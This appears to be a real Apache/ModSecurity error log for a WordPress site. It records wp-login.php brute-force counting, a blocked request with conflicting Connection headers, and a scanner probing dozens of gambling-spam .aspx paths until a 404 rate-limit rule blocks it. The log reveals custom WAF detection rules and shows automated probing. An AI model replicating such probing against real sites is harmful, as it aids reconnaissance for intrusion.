[Fri Feb 20 13:32:40.010190 2026] [proxy_fcgi:error] [pid 59127:tid 59151] [client 52.173.235.81:2500] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_postmeta` SET `meta_value` = '{\\"timeout\\":1771691559,\\"value\\":{\\"content\\":\\"\\\\t\\\\t<section class=\\\\\\"elementor-section elementor-top-section elementor-element elementor-element-5512731f elementor-section-full_width elementor-section-height-default elementor-section-height-default\\\\\\" data-id=\\\\\\"5512731f\\\\\\" data-element_type=\\\\\\"section\\\\\\" data-e-type=\\\\\\"section\\\\\\" data-settings=\\\\\\"{&quot;background_background&quot;:&quot;classic&quot;}\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-container elementor-column-gap-no\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-4e311de7\\\\\\" data-id=\\\\\\"4e311de7\\\\\\" data-element_type=\\\\\\"column\\\\\\" data-e-type=\\\\\\"column\\\\\\">\\\\n\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-widget-wrap elementor-element-populated\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t[elementor-element k=\\\\\\"11a6bf68e66a230d37...'
[Fri Feb 20 13:48:01.902226 2026] [:error] [pid 54460:tid 54482] [client 211.21.61.245:54988] [client 211.21.61.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.245, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZf1kcoUiaZ-Z7V-F9_voAAAABE"]
[Fri Feb 20 15:14:14.924677 2026] [:error] [pid 46012:tid 46022] [client 43.153.104.196:47860] [client 43.153.104.196] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZgJxjXz-GTvuxLwgUHHRQAAAUg"]
[Fri Feb 20 15:15:23.670906 2026] [:error] [pid 54461:tid 54513] [client 190.121.23.218:55848] [client 190.121.23.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.121.23.218, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZgKCy372fkN0w39NDNhUwAAAFU"]
[Fri Feb 20 17:02:22.756971 2026] [:error] [pid 59127:tid 59147] [client 103.205.142.28:49582] [client 103.205.142.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.205.142.28, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZgjHnSltzl55Qz-09gJqQAAARI"]
[Fri Feb 20 18:13:56.529745 2026] [:error] [pid 46012:tid 46038] [client 217.182.139.33:45180] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZgz5DXz-GTvuxLwgUEZhwAAAVg"]
[Fri Feb 20 18:13:58.958635 2026] [:error] [pid 59127:tid 59146] [client 217.182.139.33:45182] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZgz5nSltzl55Qz-09gdUgAAARE"]
[Fri Feb 20 18:14:01.420477 2026] [:error] [pid 54520:tid 54542] [client 217.182.139.33:45202] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZgz6WQaQX7QUBqXcyHGnAAAAJQ"]
[Fri Feb 20 18:14:03.964036 2026] [:error] [pid 54552:tid 54558] [client 217.182.139.33:56920] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZgz68e4t0F-_sbWepYONAAAAMM"]
[Fri Feb 20 18:14:06.396565 2026] [:error] [pid 54520:tid 54534] [client 217.182.139.33:56934] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZgz7mQaQX7QUBqXcyHGqQAAAIw"]
[Fri Feb 20 18:14:08.893466 2026] [:error] [pid 59127:tid 59138] [client 217.182.139.33:56938] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZgz8HSltzl55Qz-09gdZAAAAQk"]
[Fri Feb 20 18:14:11.307517 2026] [:error] [pid 54520:tid 54546] [client 217.182.139.33:56942] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZgz82QaQX7QUBqXcyHGswAAAJg"]
[Fri Feb 20 18:14:13.686015 2026] [:error] [pid 54552:tid 54558] [client 217.182.139.33:40134] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZgz9ce4t0F-_sbWepYOVAAAAMM"]
[Fri Feb 20 18:14:16.270881 2026] [:error] [pid 54520:tid 54540] [client 217.182.139.33:40148] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZgz-GQaQX7QUBqXcyHGwAAAAJI"]
[Fri Feb 20 18:14:18.827168 2026] [:error] [pid 54520:tid 54524] [client 217.182.139.33:40154] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZgz-mQaQX7QUBqXcyHGxAAAAII"]
[Fri Feb 20 18:14:21.196822 2026] [:error] [pid 46012:tid 46026] [client 217.182.139.33:40168] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZgz_TXz-GTvuxLwgUEZuAAAAUw"]
[Fri Feb 20 18:14:23.634325 2026] [:error] [pid 54461:tid 54500] [client 217.182.139.33:40184] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZgz_y372fkN0w39NDOYnQAAAEg"]
[Fri Feb 20 18:14:25.993933 2026] [:error] [pid 54520:tid 54526] [client 217.182.139.33:51134] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZg0AWQaQX7QUBqXcyHGygAAAIQ"]
[Fri Feb 20 18:14:28.424973 2026] [:error] [pid 54520:tid 54522] [client 217.182.139.33:51154] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZg0BGQaQX7QUBqXcyHG0QAAAIA"]
[Fri Feb 20 18:14:30.835576 2026] [:error] [pid 46012:tid 46015] [client 217.182.139.33:51168] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZg0BjXz-GTvuxLwgUEZyAAAAUE"]
[Fri Feb 20 18:14:33.229531 2026] [:error] [pid 54460:tid 54475] [client 217.182.139.33:51182] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZg0CcoUiaZ-Z7V-F99MLAAAAAo"]
[Fri Feb 20 18:14:35.747791 2026] [:error] [pid 54520:tid 54537] [client 217.182.139.33:51812] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZg0C2QaQX7QUBqXcyHG2AAAAI8"]
[Fri Feb 20 18:14:38.118729 2026] [:error] [pid 59127:tid 59129] [client 217.182.139.33:51826] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZg0DnSltzl55Qz-09gdiQAAAQA"]
[Fri Feb 20 18:15:03.300089 2026] [:error] [pid 54552:tid 54573] [client 217.182.139.33:51838] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZg0J8e4t0F-_sbWepYOkwAAANI"]
[Fri Feb 20 18:15:05.751541 2026] [:error] [pid 46012:tid 46037] [client 217.182.139.33:46016] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZg0KTXz-GTvuxLwgUEaGQAAAVc"]
[Fri Feb 20 18:15:08.122833 2026] [:error] [pid 54460:tid 54474] [client 217.182.139.33:46020] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aZg0LMoUiaZ-Z7V-F99MaAAAAAk"]
[Fri Feb 20 18:15:10.678900 2026] [:error] [pid 54460:tid 54466] [client 217.182.139.33:46042] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aZg0LsoUiaZ-Z7V-F99McwAAAAE"]
[Fri Feb 20 18:15:13.029709 2026] [:error] [pid 54460:tid 54484] [client 217.182.139.33:46056] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aZg0McoUiaZ-Z7V-F99MeQAAABM"]
[Fri Feb 20 18:15:15.543039 2026] [:error] [pid 54552:tid 54575] [client 217.182.139.33:33492] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZg0M8e4t0F-_sbWepYOowAAANQ"]
[Fri Feb 20 18:15:18.034372 2026] [:error] [pid 59127:tid 59140] [client 217.182.139.33:33506] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aZg0NnSltzl55Qz-09gdvgAAAQs"]
[Fri Feb 20 18:15:20.386286 2026] [:error] [pid 54460:tid 54481] [client 217.182.139.33:33520] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZg0OMoUiaZ-Z7V-F99MiwAAABA"]
[Fri Feb 20 18:15:22.883023 2026] [:error] [pid 59127:tid 59135] [client 217.182.139.33:33524] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aZg0OnSltzl55Qz-09gdxwAAAQY"]
[Fri Feb 20 18:15:25.376632 2026] [:error] [pid 59127:tid 59132] [client 217.182.139.33:37362] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZg0PXSltzl55Qz-09gdzwAAAQM"]
[Fri Feb 20 18:15:27.874279 2026] [:error] [pid 54520:tid 54523] [client 217.182.139.33:37378] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aZg0P2QaQX7QUBqXcyHHIgAAAIE"]
[Fri Feb 20 18:15:30.374855 2026] [:error] [pid 54461:tid 54510] [client 217.182.139.33:37386] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZg0Qi372fkN0w39NDOY9gAAAFI"]
[Fri Feb 20 18:15:32.893240 2026] [:error] [pid 54520:tid 54545] [client 217.182.139.33:37398] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZg0RGQaQX7QUBqXcyHHLwAAAJc"]
[Fri Feb 20 18:15:35.384738 2026] [:error] [pid 54461:tid 54496] [client 217.182.139.33:33326] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZg0Ry372fkN0w39NDOY_wAAAEQ"]
[Fri Feb 20 18:15:37.866246 2026] [:error] [pid 54552:tid 54568] [client 217.182.139.33:33334] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZg0Sce4t0F-_sbWepYOzQAAAM0"]
[Fri Feb 20 18:15:40.203769 2026] [:error] [pid 54461:tid 54505] [client 217.182.139.33:33362] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZg0TC372fkN0w39NDOZDwAAAE0"]
[Fri Feb 20 18:15:42.697249 2026] [:error] [pid 59127:tid 59139] [client 217.182.139.33:33370] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZg0TnSltzl55Qz-09gd5wAAAQo"]
[Fri Feb 20 18:15:45.179639 2026] [:error] [pid 59127:tid 59135] [client 217.182.139.33:48816] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZg0UXSltzl55Qz-09gd7QAAAQY"]
[Fri Feb 20 18:15:47.539392 2026] [:error] [pid 54460:tid 54477] [client 217.182.139.33:48832] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZg0U8oUiaZ-Z7V-F99MrAAAAAw"]
[Fri Feb 20 18:15:50.025809 2026] [:error] [pid 59127:tid 59150] [client 217.182.139.33:48842] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZg0VnSltzl55Qz-09gd-QAAARU"]
[Fri Feb 20 18:15:52.504737 2026] [:error] [pid 54552:tid 54564] [client 217.182.139.33:48858] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZg0WMe4t0F-_sbWepYO7gAAAMk"]
[Fri Feb 20 18:15:55.005471 2026] [:error] [pid 54552:tid 54569] [client 217.182.139.33:55240] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZg0W8e4t0F-_sbWepYO9QAAAM4"]
[Fri Feb 20 18:15:57.507685 2026] [:error] [pid 59127:tid 59129] [client 217.182.139.33:55242] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZg0XXSltzl55Qz-09geBwAAAQA"]
[Fri Feb 20 18:16:26.125020 2026] [:error] [pid 46012:tid 46022] [client 217.182.139.33:55250] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZg0ejXz-GTvuxLwgUEapgAAAUg"]
[Fri Feb 20 18:16:28.586455 2026] [:error] [pid 59127:tid 59144] [client 217.182.139.33:52674] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZg0fHSltzl55Qz-09geKwAAAQ8"]
[Fri Feb 20 18:16:31.096999 2026] [:error] [pid 54460:tid 54477] [client 217.182.139.33:52676] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZg0f8oUiaZ-Z7V-F99M8QAAAAw"]
[Fri Feb 20 18:16:33.592901 2026] [:error] [pid 54461:tid 54499] [client 217.182.139.33:52696] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZg0gS372fkN0w39NDOZYAAAAEc"]
[Fri Feb 20 18:16:36.112486 2026] [:error] [pid 54460:tid 54482] [client 217.182.139.33:53758] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZg0hMoUiaZ-Z7V-F99M-QAAABE"]
[Fri Feb 20 18:16:38.603321 2026] [:error] [pid 59127:tid 59144] [client 217.182.139.33:53780] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZg0hnSltzl55Qz-09geNgAAAQ8"]
[Fri Feb 20 18:16:41.117953 2026] [:error] [pid 46012:tid 46014] [client 217.182.139.33:53800] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZg0iTXz-GTvuxLwgUEawgAAAUA"]
